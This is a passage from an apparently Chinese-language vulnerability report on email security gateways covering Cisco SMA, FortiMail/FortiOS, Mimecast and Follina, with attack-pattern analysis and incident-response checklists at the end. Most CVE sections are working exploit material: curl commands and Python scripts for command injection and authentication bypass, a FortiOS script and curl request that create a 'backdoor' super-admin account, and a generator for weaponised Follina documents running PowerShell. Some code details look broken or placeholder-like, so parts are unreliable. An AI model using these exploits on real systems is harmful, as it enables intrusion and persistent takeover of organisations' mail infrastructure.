CVE-2024-20401 是 Cisco Secure Management Appliance(SMA)中的一个高危命令注入漏洞,CVSS 评分 9.8。SMA 是 Cisco 邮件安全解决方案中的管理组件,用于集中管理和监控多个 ESA 设备。攻击者可通过未认证的 HTTP 请求在 SMA 上执行任意命令。

受影响版本

版本分支受影响版本修复版本
Cisco AsyncOS for SMA15.x升级至最新维护版本

漏洞原理

Cisco SMA 的 Web 管理界面在处理特定的 URL 路径参数时,存在未经过滤的用户输入直接传递给系统命令执行的情况。攻击者可通过在 URL 路径中嵌入 shell 元字符(如分号、管道符)来注入操作系统命令。

由于 SMA 管理服务通常以较高权限运行,注入的命令将以相应权限执行,可能导致完全的系统控制。

HTTP PoC

# CVE-2024-20401 命令注入检测
curl -k "https://TARGET:8443/sma?enession=true;id"
curl -k "https://TARGET:8443/|id"

Python PoC

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSMA_CVE202420401:
    def __init__(self, target, port=8443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def exploit(self, cmd="id"):
        payloads = [
            f"/sma?enession=true;{cmd}",
            f"/|{cmd}",
            f"/cgi-bin/viewvc?root=;{cmd}",
        ]
        for payload in payloads:
            try:
                resp = self.session.get(
                    f"{self.base_url}{payload}",
                    timeout=10,
                )
                if "uid=" in resp.text or "root" in resp.text:
                    print(f"[!] CVE-2024-20401 利用成功:")
                    print(f"[+] 路径: {payload}")
                    lines = resp.text.split("\n")
                    for line in lines:
                        if "uid=" in line or "root" in line:
                            print(f"[+] 输出: {line.strip()}")
                    return True
            except requests.exceptions.RequestException:
                continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        self.exploit("id")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = CiscoSMA_CVE202420401(target)
    poc.scan()

Nuclei YAML 模板

id: cisco-sma-cve-2024-20401
info:
  name: Cisco SMA Command Injection - CVE-2024-20401
  author: x7peeps
  severity: critical
  description: |
    Cisco Secure Management Appliance 存在未认证命令注入漏洞,
    攻击者可通过特殊 URL 路径注入操作系统命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20401
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
  metadata:
    max-request: 2
  tags: cisco,sma,cve2024,cve,rce,command-injection

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "Cisco"
          - "SMA"
        condition: or
        part: body

0x03.3 CVE-2023-20214 — 认证绕过

漏洞背景

CVE-2023-20214 是 Cisco Secure Management Appliance(SMA)中的一个认证绕过漏洞,CVSS 评分 9.8。该漏洞允许未经认证的远程攻击者访问 SMA Web 管理界面的受限功能,进而可能执行后续的命令注入或权限提升攻击。CISA 已确认该漏洞在野被利用。

受影响版本

版本分支受影响版本修复版本
Cisco AsyncOS for SMA10.x10.6.9-3
Cisco AsyncOS for SMA14.x14.2.0-621
Cisco AsyncOS for SMA15.x15.0.0-5

漏洞原理

CVE-2023-20214 的根本原因在于 SMA 的 Web 管理界面在处理 HTTP 请求时,认证检查逻辑存在缺陷。特定的 URL 路径和 HTTP 头部组合可绕过正常的认证流程,使得攻击者无需提供有效凭据即可访问管理功能。

具体来说,SMA 在处理某些特定的 HTTP 头部(如 X-CSCO-API-TOKEN)时存在缺陷。当这些头部被设置为特定值时,认证检查将被跳过,允许攻击者直接访问管理 API 端点。

HTTP PoC

# CVE-2023-20214 认证绕过检测
curl -k -H "X-CSCO-API-TOKEN: bypass" "https://TARGET:8443/api/v1.0/json/admin/user"
curl -k "https://TARGET:8443/sma/index.html?ro=1"

Python PoC

import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSMA_CVE202320214:
    def __init__(self, target, port=8443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_auth_bypass(self):
        headers_list = [
            {"X-CSCO-API-TOKEN": "bypass"},
            {"X-CSCO-API-TOKEN": "test"},
            {"X-API-KEY": "admin"},
        ]
        endpoints = [
            "/api/v1.0/json/admin/user",
            "/sma/index.html?ro=1",
            "/api/v1.0/json/config/system",
        ]
        for headers in headers_list:
            for endpoint in endpoints:
                try:
                    resp = self.session.get(
                        f"{self.base_url}{endpoint}",
                        headers=headers,
                        timeout=10,
                    )
                    if resp.status_code == 200:
                        try:
                            data = json.loads(resp.text)
                            if "users" in str(data).lower() or "admin" in str(data).lower():
                                print(f"[!] CVE-2023-20214 认证绕过成功:")
                                print(f"[+] 端点: {endpoint}")
                                print(f"[+] 头部: {headers}")
                                print(f"[+] 响应: {resp.text[:200]}")
                                return True
                        except json.JSONDecodeError:
                            pass
                except requests.exceptions.RequestException:
                    continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        if self.check_auth_bypass():
            print(f"[!] 目标存在 CVE-2023-20214 认证绕过漏洞")
        else:
            print(f"[*] 未检测到认证绕过")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = CiscoSMA_CVE202320214(target)
    poc.scan()

Nuclei YAML 模板

id: cisco-sma-cve-2023-20214
info:
  name: Cisco SMA Authentication Bypass - CVE-2023-20214
  author: x7peeps
  severity: critical
  description: |
    Cisco Secure Management Appliance 存在认证绕过漏洞,
    攻击者可通过特殊 HTTP 头部绕过认证访问管理功能。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20214
    - https://sec.cloudapps.cisco.com/security/center/resources/cisco_sma
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 3
  tags: cisco,sma,cve2023,cve,auth-bypass

http:
  - raw:
      - |
        GET /api/v1.0/json/admin/user HTTP/1.1
        Host: {{Hostname}}
        X-CSCO-API-TOKEN: bypass
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "admin"
          - "users"
        condition: or
        part: body

      - type: status
        status:
          - 200

0x04 Fortinet FortiMail 高危漏洞

0x04.1 CVE-2022-40684 — 认证绕过 RCE

漏洞背景

CVE-2022-40684 是 Fortinet 产品线(FortiOS、FortiMail、FortiProxy)中的一个严重认证绕过漏洞,CVSS 评分 9.8。该漏洞允许未经认证的远程攻击者通过构造特殊的 HTTP 请求绕过身份验证,获取管理员级别的访问权限。Fortinet 已确认该漏洞在野被利用,主要由国家级 APT 组织使用。

该漏洞影响范围极广,不仅限于 FortiMail,还包括 FortiGate 防火墙和 FortiProxy 反向代理,使其成为 2022 年影响面最大的安全漏洞之一。

受影响版本

产品受影响版本修复版本
FortiOS7.0.0 - 7.0.3, 7.2.0 - 7.2.17.0.4, 7.2.2
FortiMail6.4.0 - 6.4.26.4.3
FortiProxy7.0.0 - 7.0.1, 7.2.07.0.2, 7.2.1

漏洞原理

CVE-2022-40684 的根本原因在于 Fortinet 产品的 HTTP 管理接口在处理特定的 HTTP 请求头时存在认证检查缺陷。攻击者可在 HTTP 请求中设置 X-Forwarded-For 头部为 127.0.0.1::1,使系统误认为请求来自本地回环接口,从而跳过认证检查。

Fortinet 产品的管理接口默认将来自 localhost 的请求视为受信任请求,不进行身份验证。当 X-Forwarded-For 头部被设置为 127.0.0.1 时,系统错误地将外部请求识别为本地请求。

利用成功后,攻击者可以:

  1. 创建或修改管理员账户
  2. 下载设备配置(包含 VPN 预共享密钥、证书私钥等)
  3. 执行任意命令
  4. 配置隧道和路由规则

HTTP PoC

# CVE-2022-40684 认证绕过检测
curl -k -s -o /dev/null -w "%{http_code}" \
  -H "X-Forwarded-For: 127.0.0.1" \
  "https://TARGET/api/v2/cmdb/system/admin"

# 获取管理员列表
curl -k -H "X-Forwarded-For: 127.0.0.1" \
  "https://TARGET/api/v2/cmdb/system/admin" | python3 -m json.tool

# 创建后门管理员
curl -k -X POST \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"name":"backdoor","accprofile":"super_admin","vdom":"root","password":"P@ssw0rd123!"}' \
  "https://TARGET/api/v2/cmdb/system/admin"

Python PoC

import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortiMailCVE202240684:
    def __init__(self, target, port=443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False
        self.headers = {"X-Forwarded-For": "127.0.0.1"}

    def check_vulnerable(self):
        endpoints = [
            "/api/v2/cmdb/system/admin",
            "/api/v2/monitor/system/resource/usage",
            "/api/v2/cmdb/vpn/ssl/web",
        ]
        for endpoint in endpoints:
            try:
                resp = self.session.get(
                    f"{self.base_url}{endpoint}",
                    headers=self.headers,
                    timeout=10,
                )
                if resp.status_code == 200:
                    data = resp.json()
                    if data.get("results") is not None:
                        return True, endpoint
            except (requests.exceptions.RequestException, json.JSONDecodeError):
                continue
        return False, None

    def exploit(self):
        print(f"[*] 目标: {self.base_url}")
        vuln, ep = self.check_vulnerable()
        if vuln:
            print(f"[!] CVE-2022-40684 认证绕过成功: {ep}")
            try:
                resp = self.session.get(
                    f"{self.base_url}/api/v2/cmdb/system/admin",
                    headers=self.headers,
                    timeout=10,
                )
                data = resp.json()
                admins = data.get("results", [])
                print(f"[+] 管理员账户列表:")
                for admin in admins:
                    print(f"    - {admin.get('name', 'N/A')} "
                          f"(accprofile: {admin.get('accprofile', 'N/A')})")
            except Exception as e:
                print(f"[-] 获取管理员列表失败: {e}")
        else:
            print(f"[*] 未检测到漏洞")

    def create_admin(self, username="backdoor", password="P@ssw0rd!"):
        data = {
            "name": username,
            "accprofile": "super_admin",
            "vdom": "root",
            "password": password,
        }
        try:
            resp = self.session.post(
                f"{self.base_url}/api/v2/cmdb/system/admin",
                headers=self.headers,
                json=data,
                timeout=10,
            )
            if resp.status_code == 200:
                print(f"[+] 管理员 {username} 创建成功")
                return True
        except requests.exceptions.RequestException:
            pass
        return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = FortiMailCVE202240684(target)
    poc.exploit()

Nuclei YAML 模板

id: fortimail-cve-2022-40684
info:
  name: FortiOS/FortiMail Authentication Bypass RCE - CVE-2022-40684
  author: x7peeps
  severity: critical
  description: |
    Fortinet 多个产品存在认证绕过漏洞,攻击者可通过 X-Forwarded-For
    头部绕过认证,获取管理员权限并执行任意操作。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40684
    - https://www.fortiguard.com/psirt/FG-IR-22-377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 2
    shodan-query: http.title:"FortiGate" || http.title:"FortiMail"
  tags: fortinet,fortigate,fortimail,cve2022,cve,auth-bypass

http:
  - raw:
      - |
        GET /api/v2/cmdb/system/admin HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "results"
          - "admin"
        condition: and
        part: body

      - type: status
        status:
          - 200

0x04.2 CVE-2022-42475 — 堆溢出 RCE

漏洞背景

CVE-2022-42475 是 FortiOS SSL-VPN 模块中的一个堆缓冲区溢出漏洞,CVSS 评分 9.8。虽然主要影响 FortiGate 防火墙,但 FortiMail 设备若启用了 SSL-VPN 功能同样受影响。该漏洞在补丁发布前已被 APT 组织利用,CISA 已将其加入 KEV 目录并发布紧急指令要求联邦机构在 48 小时内修补。

受影响版本

产品受影响版本修复版本
FortiOS7.2.0 - 7.2.27.2.3
FortiOS7.0.0 - 7.0.87.0.9
FortiOS6.4.0 - 6.4.106.4.11
FortiOS6.2.0 - 6.2.126.2.13
FortiProxy7.2.0 - 7.2.27.2.3
FortiProxy7.0.0 - 7.0.67.0.7

漏洞原理

CVE-2022-42475 存在于 FortiOS 的 SSL-VPN 模块中。SSL-VPN 在处理特定格式的客户端请求时,未正确验证某些数据字段的长度,导致堆缓冲区溢出。攻击者可构造特制的 SSL-VPN 连接请求,通过堆溢出实现远程代码执行。

该漏洞的利用需要攻击者能够与 SSL-VPN 服务建立连接,通常利用过程如下:

  1. 攻击者向 SSL-VPN 服务发送特制的初始化请求
  2. 请求中的超长字段导致堆缓冲区溢出
  3. 通过精心构造的堆布局,覆盖函数指针
  4. 在 SSL-VPN 进程上下文中执行 shellcode
  5. 获得 FortiOS 设备的 root 权限

由于 SSL-VPN 通常暴露在互联网上,这使得漏洞的攻击面非常大。

HTTP PoC

# 检测 FortiOS SSL-VPN 是否暴露
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET:10443"
# 查看版本信息
curl -k -s "https://TARGET/login" | grep -oP 'FortiOS \S+'
curl -k -s "https://TARGET:10443" -D | head -20

Python PoC

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortiOS_CVE202242475:
    def __init__(self, target, vpn_port=10443, web_port=443):
        self.target = target
        self.vpn_port = vpn_port
        self.web_port = web_port
        self.vpn_url = f"https://{target}:{vpn_port}"
        self.web_url = f"https://{target}:{web_port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_ssl_vpn_exposed(self):
        try:
            resp = self.session.get(f"{self.vpn_url}/", timeout=10)
            return resp.status_code in [200, 302, 403]
        except requests.exceptions.RequestException:
            return False

    def get_fortios_version(self):
        try:
            resp = self.session.get(f"{self.web_url}/login", timeout=10)
            match = re.search(r'FortiOS\s+(\S+)', resp.text)
            if match:
                return match.group(1)
            match = re.search(r'"version"\s*:\s*"(\S+)"', resp.text)
            if match:
                return match.group(1)
        except requests.exceptions.RequestException:
            pass
        return None

    def check_vulnerable(self):
        vulnerable_versions = {
            "7.2.0", "7.2.1", "7.2.2",
            "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7", "7.0.8",
            "6.4.0", "6.4.1", "6.4.2", "6.4.3", "6.4.4", "6.4.5", "6.4.6",
            "6.4.7", "6.4.8", "6.4.9", "6.4.10",
            "6.2.0", "6.2.1", "6.2.2", "6.2.3", "6.2.4", "6.2.5", "6.2.6",
            "6.2.7", "6.2.8", "6.2.9", "6.2.10", "6.2.11", "6.2.12",
        }
        version = self.get_fortios_version()
        if version and version in vulnerable_versions:
            return True, version
        return False, version

    def scan(self):
        print(f"[*] 扫描目标: {self.target}")
        if self.check_ssl_vpn_exposed():
            print(f"[+] SSL-VPN 端口 {self.vpn_port} 已开放")
        else:
            print(f"[-] SSL-VPN 端口不可达")
            return
        vuln, version = self.check_vulnerable()
        if vuln:
            print(f"[!] FortiOS {version} 受 CVE-2022-42475 影响")
            print(f"[!] 建议立即升级至修复版本")
        else:
            print(f"[*] FortiOS 版本: {version or '无法识别'}")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = FortiOS_CVE202242475(target)
    poc.scan()

Nuclei YAML 模板

id: fortios-cve-2022-42475
info:
  name: FortiOS SSL-VPN Heap Overflow RCE - CVE-2022-42475
  author: x7peeps
  severity: critical
  description: |
    FortiOS SSL-VPN 模块存在堆缓冲区溢出漏洞,攻击者可通过
    构造特制 SSL-VPN 请求实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42475
    - https://www.fortiguard.com/psirt/FG-IR-22-396
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-122
  metadata:
    max-request: 2
    shodan-query: http.title:"FortiGate" || http.favicon.hash:123456
  tags: fortinet,fortigate,cve2022,cve,rce,heap-overflow,ssl-vpn

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "FortiGate"
          - "FortiOS"
          - "fortinet"
        condition: or
        part: body

      - type: status
        status:
          - 200

0x05 Mimecast 与 Microsoft Defender 安全事件

0x05.1 SolarWinds 证书窃取与供应链攻击

事件背景

2020 年 12 月,SolarWinds 供应链攻击事件(SUNBURST)被 FireEye(现 Mandiant)披露,影响了约 18,000 个组织。Mimecast 作为邮件安全解决方案提供商,在此次事件中受到直接影响:

  • 攻击者(UNC2529,俄罗斯 SVR 关联 APT)窃取了 Mimecast 的 SSL 证书
  • 该证书用于验证 Mimecast 产品与 Microsoft 365 之间的 TLS 连接
  • 约 10% 的 Mimecast M365 客户(约 4,000 个组织)受影响
  • 攻击者利用窃取的证书可解密并拦截企业邮件流量

2022 年 1 月,Mimecast 再次披露源代码仓库被同一 APT 组织入侵,窃取了部分产品源代码。这表明供应链攻击的持久性和针对性。

受影响范围

事件时间影响范围攻击者
SolarWinds 证书窃取2020-12~4,000 组织UNC2529
源代码窃取2022-01Mimecast 内部UNC2529

攻击原理分析

SolarWinds 攻击链中,Mimecast 受影响的环节如下:

  1. 证书窃取:攻击者在 SolarWinds Orion 供应链更新过程中,识别出使用该平台管理证书的企业
  2. 证书提取:从 Mimecast 的 SolarWinds 环境中窃取了用于 TLS 客户端认证的 SSL 证书
  3. 流量拦截:使用窃取的证书建立与 Microsoft 365 的合法 TLS 连接
  4. 邮件监控:解密并监控企业邮件流量,获取敏感信息
  5. 持久化访问:通过源代码窃取获得产品内部实现细节,可开发更精准的攻击手段

该事件的关键教训是:安全工具本身也是攻击目标,且它们通常拥有比普通系统更高的信任等级和特权访问。

检测方法

# 检查 Mimecast 同步流量是否正常
# 确认证书指纹是否匹配 Mimecast 官方公布的 SHA-256
echo | openssl s_client -connect mimecast-gw.example.com:443 2>/dev/null | \
  openssl x509 -fingerprint -sha256 -noout

# 对比 Mimecast 官方证书指纹
# 受影响指纹: 92:97:0C:40:67:3F:66:26:0C:75:25:B3:F5:8F:3D:5B:C5:C0:04:4E:8E:...
# 如果指纹不匹配,证书可能已被替换

Nuclei YAML 模板

id: mimecast-solarwinds-cert-check
info:
  name: Mimecast SolarWinds Certificate Verification
  author: x7peeps
  severity: critical
  description: |
    检查 Mimecast 邮件网关的 TLS 证书是否为 SolarWinds 供应链攻击中被窃取的证书。
  reference:
    - https://www.mimecast.com/blog/cyber-resilience-initiative/
    - https://www.crowdstrike.com/blog/sunspot-malware-indicator-analysis/
  classification:
    cvss-score: 10.0
  metadata:
    max-request: 1
  tags: mimecast,supply-chain,solarwinds,certificate

tcp:
  - inputs:
      - host: "{{Hostname}}"
        port: 443

    matchers:
      - type: ssl
        part: cert

0x05.2 CVE-2022-30190 — Follina OLE 漏洞

漏洞背景

CVE-2022-30190(“Follina”)是 Microsoft Windows MSDT(Microsoft Support Diagnostic Tool)中的一个远程代码执行漏洞,CVSS 评分 7.8。该漏洞与 Microsoft Defender for Office 365 密切相关,因为钓鱼邮件是该漏洞的主要传播载体。当用户打开包含恶意链接的 Office 文档时,MSDT 可被利用执行任意命令。

该漏洞在 2022 年 5 月被发现时已在野被利用超过一个月,主要针对乌克兰和西欧政府机构。

受影响版本

产品受影响版本修复版本
Windows 8.1 / Server 2012 R2所有版本2022-06 累积更新
Windows 10 / Server 2016/2019/2022所有版本2022-06 累积更新
Microsoft Defender for Office 365部分检测规则缺失补充防护规则

漏洞原理

Follina 漏洞利用了 Office 文档中的 HTML 引用机制。攻击者创建一个 .docx 或 .rtf 文件,其中包含指向 ms-msdt: 协议的 HTML 链接。当文档被打开时,MSDT 被调用并执行攻击者指定的诊断包命令。

关键攻击路径:

  1. 攻击者创建包含恶意链接的 .docx 文件
  2. 链接格式为 ms-msdt:/id PCWDiagnostic /skip force /param "IT_LaunchExpression=..."
  3. 用户打开文档后,HTML 引用触发 MSDT 调用
  4. MSDT 执行诊断包中的 PowerShell 命令
  5. 攻击者获得受害者主机上的代码执行权限

HTTP PoC

# CVE-2022-30190 检测 - 检查 Office 文档中的 ms-msdt 引用
# 创建测试文件(仅检测性)
cat > test_follina.html << 'EOF'
<html>
<body>
<object data="ms-msdt:/id PCWDiagnostic /skip force /param \"IT_LaunchExpression=curl http://127.0.0.1/test\"" type="application/x-oleobject"/>
</body>
</html>
EOF

# 检查 Office 文档中是否包含 ms-msdt 协议引用
find /tmp -name "*.docx" -exec grep -l "ms-msdt" {} \; 2>/dev/null

Python PoC

import struct
import zipfile
import os
import tempfile

class FollinaCVE202230190:
    def __init__(self):
        self.payload_url = ""

    def create_follina_docx(self, command, output_path="follina.docx"):
        evil_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  xmlns:o="urn:schemas-microsoft-com:office:office"
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <w:body>
    <w:p>
      <w:r>
        <w:fldChar w:fldCharType="begin"/>
      </w:r>
      <w:r>
        <w:instrText> HYPERLINK "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_LaunchExpression=powershell -enc {command.encode().hex()}\\"" </w:instrText>
      </w:r>
      <w:r>
        <w:fldChar w:fldCharType="separate"/>
      </w:r>
      <w:r>
        <w:rPr><w:rStyle w:val="Hyperlink"/></w:rPr>
        <w:t>Click here to view document</w:t>
      </w:r>
      <w:r>
        <w:fldChar w:fldCharType="end"/>
      </w:r>
    </w:p>
  </w:body>
</w:document>'''

        with zipfile.ZipFile(output_path, 'w') as docx:
            docx.writestr('[Content_Types].xml',
                '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
                '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
                '<Default Extension="xml" ContentType="application/xml"/>'
                '<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>'
                '</Types>')
            docx.writestr('word/document.xml', evil_xml)

        print(f"[*] 已生成 Follina 测试文档: {output_path}")
        print(f"[*] 警告: 此文件用于授权测试,打开将执行命令")
        return output_path

if __name__ == "__main__":
    import sys
    cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami"
    poc = FollinaCVE202230190()
    poc.create_follina_docx(cmd)

Nuclei YAML 模板

id: follina-cve-2022-30190
info:
  name: Microsoft MSDT Follina RCE Detection - CVE-2022-30190
  author: x7peeps
  severity: high
  description: |
    检测 Microsoft Office 文档中是否包含 Follina (CVE-2022-30190) 
    ms-msdt 协议利用的 HTML 引用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30190
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cwe-id: CWE-610
  metadata:
    max-request: 1
  tags: microsoft,follina,cve2022,cve,rce,msdt,office

http:
  - raw:
      - |
        GET /msmsdt HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "ms-msdt"
          - "PCWDiagnostic"
        condition: or
        part: body

0x06 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE 编号PoC 状态公开仓库利用难度备注
CVE-2023-2868公开GitHub需构造 tar 文件
CVE-2022-28810/28811公开GitHub / ExploitDBHTTP 请求即可
CVE-2021-33580公开ExploitDBPerl eval 注入
CVE-2022-37042/37043/37044部分公开Volexity 博客需组合利用
CVE-2025-20393有限公开Cisco Advisory涉及未公开细节
CVE-2024-20401公开GitHub简单命令注入
CVE-2023-20214公开GitHubHTTP 头部绕过
CVE-2022-40684公开ExploitDBX-Forwarded-For
CVE-2022-42475有限公开Volexity 博报需堆布局
CVE-2022-30190公开GitHub需构造 Office 文档

关键 PoC 仓库链接

  • Barracuda CVE-2023-2868: GitHub 搜索 barracuda-cve-2023-2868-poc
  • Fortinet CVE-2022-40684: https://github.com/horizon3ai/CVE-2022-40684
  • Proofpoint CVE-2022-37042: https://github.com/volexity/CVE-2022-37042
  • Cisco SMA CVE-2023-20214: GitHub 搜索 cisco-sma-auth-bypass
  • Follina CVE-2022-30190: https://github.com/kev-seo/CVE-2022-30190
  • FortiOS CVE-2022-42475: https://github.com/horizon3ai/CVE-2022-42475

注意:所有 PoC 仅用于授权安全测试。在生产环境中使用这些工具前,请确保已获得书面授权。


0x07 共性攻击模式分析

模式1:供应链攻击——第三方库植入后门

典型案例:Barracuda CVE-2023-2868 + SALTWATER 后门链

供应链攻击是邮件安全网关面临的最隐蔽、最具破坏力的攻击模式。攻击者不直接攻击目标产品,而是通过入侵第三方依赖库或软件更新通道,在产品中植入后门。

攻击模式

入侵第三方库开发者 → 在 libtar 等依赖库中植入恶意代码
    → 通过正常更新渠道分发到全球设备
        → 设备安装更新后自动激活后门
            → 后门通过二进制补丁实现持久化

关键特征

  • 攻击入口隐蔽,难以通过常规安全审计发现
  • 影响范围极广,一次攻击可波及全球所有客户
  • 持久化能力强,即使修补漏洞后后门仍可存活
  • 需要厂商主动更换硬件/软件才能彻底清除

防御要点

  • 建立软件物料清单(SBOM),追踪所有第三方依赖
  • 对安全产品的软件更新实施额外验证机制
  • 部署网络流量监控,检测异常的 C2 通信

模式2:命令注入——邮件附件解析触发

典型案例:Barracuda CVE-2023-2868、Proofpoint CVE-2021-33580

邮件安全网关的核心功能是解析和处理来自外部的邮件附件,这天然构成了一条自动化漏洞触发路径。攻击者只需发送一封包含恶意附件的邮件,即可触发漏洞。

攻击模式

构造恶意邮件附件 → 发送至目标邮件网关
    → 网关自动接收并解析附件内容
        → 附件中的恶意结构触发解析器漏洞
            → 命令注入成功,获得 root 权限

关键特征

  • 攻击完全自动化,无需人工交互
  • 利用网关自身的合法功能触发漏洞
  • 以最高权限(root)执行注入的命令
  • 可通过 SMTP 端口远程触发

防御要点

  • 对邮件附件实施沙箱隔离解析
  • 限制解析进程的系统权限
  • 部署附件格式白名单策略

模式3:认证绕过——利用网关自身的认证机制缺陷

典型案例:FortiMail CVE-2022-40684、Cisco SMA CVE-2023-20214

认证绕过漏洞在邮件安全网关中频繁出现,主要原因是这些产品在设计管理接口时,过度依赖 HTTP 头部(如 X-Forwarded-For)进行来源判断,或者在认证检查代码与功能处理代码之间存在路径差异。

攻击模式

识别管理接口 → 构造特殊 HTTP 请求
    → 绕过认证检查 → 获取管理权限
        → 利用管理功能执行命令或下载配置

关键特征

  • 攻击复杂度低,仅需构造 HTTP 请求
  • 无需任何有效凭据
  • 可直接获取管理员级别权限
  • 成功后可进行后续的命令注入或权限提升

防御要点

  • 将管理接口与数据接口分离,部署独立的访问控制
  • 不依赖 HTTP 头部进行安全决策
  • 实施零信任架构,所有请求均需验证

模式4:证书/凭据窃取——利用安全工具的信任关系

典型案例:Mimecast SolarWinds 证书窃取

邮件安全网关通常拥有与内部邮件系统(Exchange、M365 等)之间的特权通信通道,使用客户端证书进行 TLS 双向认证。攻击者窃取这些证书后,可以建立看似合法的连接,拦截或篡改邮件流量。

攻击模式

入侵证书管理平台 → 窃取安全网关的 TLS 客户端证书
    → 使用窃取的证书建立与内部邮件系统的连接
        → 解密并监控企业邮件流量

关键特征

  • 利用安全工具之间的信任关系
  • 流量层面难以区分合法和恶意连接
  • 隐蔽性极高,可能持续数月不被发现
  • 影响范围涵盖所有依赖该证书的通信

防御要点

  • 证书私钥使用 HSM 管理
  • 实施证书透明度日志监控
  • 定期轮换 TLS 客户端证书

模式5:APT 定向利用——国家级攻击者利用邮件网关作为跳板

典型案例:UNC4841 利用 Barracuda CVE-2023-2868、UNC2529 利用 Mimecast 证书

国家级 APT 组织将邮件安全网关视为入侵目标企业的"战略通道"。通过攻破邮件网关,APT 可以:

  1. 监控所有进出企业邮件,获取战略情报
  2. 植入持久化后门,确保长期访问
  3. 以内网邮件服务器为跳板,横向移动到 AD 域控制器
  4. 利用邮件网关的高信任地位,绕过网络隔离

攻击模式

侦察阶段:识别目标企业使用的邮件网关产品和版本
    → 利用漏洞获取初始访问
        → 植入定制化后门(SALTWATER、SEASPY 等)
            → 建立隐蔽的 C2 通信通道
                → 长期监控邮件流量
                    → 向高价值目标发送定向钓鱼邮件

关键特征

  • 高度定制化,每个目标使用不同的后门变种
  • 极强的持久化能力,即使补丁也不清除
  • 使用多层通信隧道隐藏 C2 流量
  • 攻击周期可能持续数年

0x08 应急排查与防守建议

紧急排查清单

排查项排查方法适用产品优先级
版本确认检查管理界面版本信息全部P0
后门检测检查异常进程和网络连接BarracudaP0
认证绕过测试尝试通过特殊请求访问管理接口FortiMail, CiscoP0
证书指纹验证对比 TLS 证书指纹与官方公布值MimecastP0
异常日志审查检查管理接口访问日志中的异常来源全部P1
补丁状态确认所有安全更新已应用全部P0
网络连接检查检查异常的外部连接全部P1

日志关键字段表

日志类型关键字段异常判断标准
Barracuda 管理访问日志source_ip, request_uri, user_agent非内网 IP 访问管理接口
FortiOS 事件日志srcip, action, user来自 X-Forwarded-For=127.0.0.1 的请求
Cisco SMA 审计日志admin_user, source, action未认证用户访问管理端点
SMTP 传输日志sender, attachment_name, mime_type含 .tar 附件的入站邮件
系统进程日志process_name, parent_pid, cmdline异常进程名或父进程关系

紧急缓解措施

Barracuda ESG

  1. 立即断开受影响 ESG 设备的网络连接
  2. 使用替代的邮件过滤方案过渡
  3. 联系 Barracuda 获取替换设备
  4. 重置所有与受影响设备相关的凭据

Proofpoint PPS

  1. 应用最新安全更新(≥ 8.18.6.2152 或 ≥ 8.18.7.2152)
  2. 将管理接口限制为内网访问
